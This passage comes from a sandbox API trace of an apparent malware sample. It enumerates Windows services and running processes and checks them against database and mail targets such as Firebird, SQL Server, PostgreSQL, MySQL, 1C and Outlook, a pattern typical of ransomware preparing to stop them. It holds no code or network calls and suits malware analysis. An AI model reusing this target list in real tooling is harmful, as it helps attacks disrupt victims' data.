cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40038c8, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0045.137] CloseServiceHandle (hSCObject=0x530048) returned 1 [0045.137] lstrlenW (lpString="Appinfo") returned 7 [0045.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.137] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.138] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.138] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.138] lstrlenW (lpString="AudioSrv") returned 8 [0045.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.138] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.138] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.138] lstrlenW (lpString="BFE") returned 3 [0045.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.138] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.138] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.138] lstrlenW (lpString="CryptSvc") returned 8 [0045.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.138] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.138] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.138] lstrlenW (lpString="CscService") returned 10 [0045.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.138] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.138] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.138] lstrlenW (lpString="DcomLaunch") returned 10 [0045.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.138] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.139] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.139] lstrlenW (lpString="Dhcp") returned 4 [0045.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.139] lstrlenW (lpString="Dnscache") returned 8 [0045.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.139] lstrlenW (lpString="DPS") returned 3 [0045.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.139] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.139] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.139] lstrlenW (lpString="eventlog") returned 8 [0045.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.139] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.139] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.139] lstrlenW (lpString="EventSystem") returned 11 [0045.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.139] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.139] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.140] lstrlenW (lpString="gpsvc") returned 5 [0045.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.140] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.140] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.140] lstrlenW (lpString="iphlpsvc") returned 8 [0045.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.140] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.140] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.140] lstrlenW (lpString="LanmanServer") returned 12 [0045.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.140] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.140] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.140] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.140] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.140] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.140] lstrlenW (lpString="lmhosts") returned 7 [0045.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.140] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.140] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.140] lstrlenW (lpString="MMCSS") returned 5 [0045.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.141] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.141] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.141] lstrlenW (lpString="MpsSvc") returned 6 [0045.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.141] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.141] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.141] lstrlenW (lpString="Netman") returned 6 [0045.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.141] lstrlenW (lpString="netprofm") returned 8 [0045.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.141] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.141] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.141] lstrlenW (lpString="NlaSvc") returned 6 [0045.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.141] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.141] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.141] lstrlenW (lpString="nsi") returned 3 [0045.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.142] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.142] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.142] lstrlenW (lpString="PcaSvc") returned 6 [0045.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.142] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.142] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.142] lstrlenW (lpString="PlugPlay") returned 8 [0045.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.142] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.142] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.142] lstrlenW (lpString="Power") returned 5 [0045.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.142] lstrlenW (lpString="ProfSvc") returned 7 [0045.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.142] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.142] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.142] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.142] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.143] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.143] lstrlenW (lpString="RpcSs") returned 5 [0045.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.143] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.143] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.143] lstrlenW (lpString="SamSs") returned 5 [0045.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.143] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.143] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.143] lstrlenW (lpString="Schedule") returned 8 [0045.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.143] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.143] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.143] lstrlenW (lpString="SENS") returned 4 [0045.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.143] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.143] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.143] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.143] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.143] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.144] lstrlenW (lpString="Spooler") returned 7 [0045.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.144] lstrlenW (lpString="swprv") returned 5 [0045.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0045.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0045.144] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0045.144] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0045.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0045.144] lstrlenW (lpString="SysMain") returned 7 [0045.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.144] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.144] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.144] lstrlenW (lpString="Themes") returned 6 [0045.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.144] lstrlenW (lpString="TrkWks") returned 6 [0045.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.144] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.144] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.144] lstrlenW (lpString="UxSms") returned 5 [0045.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.145] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.145] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.145] lstrlenW (lpString="VSS") returned 3 [0045.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.145] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.145] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.145] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.145] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.145] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.145] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.145] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.145] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.145] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.145] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.145] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.145] lstrlenW (lpString="Winmgmt") returned 7 [0045.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.146] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.146] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.146] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.146] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038c8 | out: hHeap=0x4b0000) returned 1 [0045.146] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0045.151] Process32FirstW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.152] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.153] lstrlenW (lpString="System") returned 6 [0045.153] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.153] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.153] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.153] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.154] lstrlenW (lpString="smss.exe") returned 8 [0045.154] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.154] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.154] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.154] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.154] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.155] lstrlenW (lpString="csrss.exe") returned 9 [0045.155] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.155] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.155] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.155] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.156] lstrlenW (lpString="wininit.exe") returned 11 [0045.156] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.156] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.156] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.156] lstrlenW (lpString="csrss.exe") returned 9 [0045.157] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.157] lstrlenW (lpString="winlogon.exe") returned 12 [0045.157] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.158] lstrlenW (lpString="services.exe") returned 12 [0045.158] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, 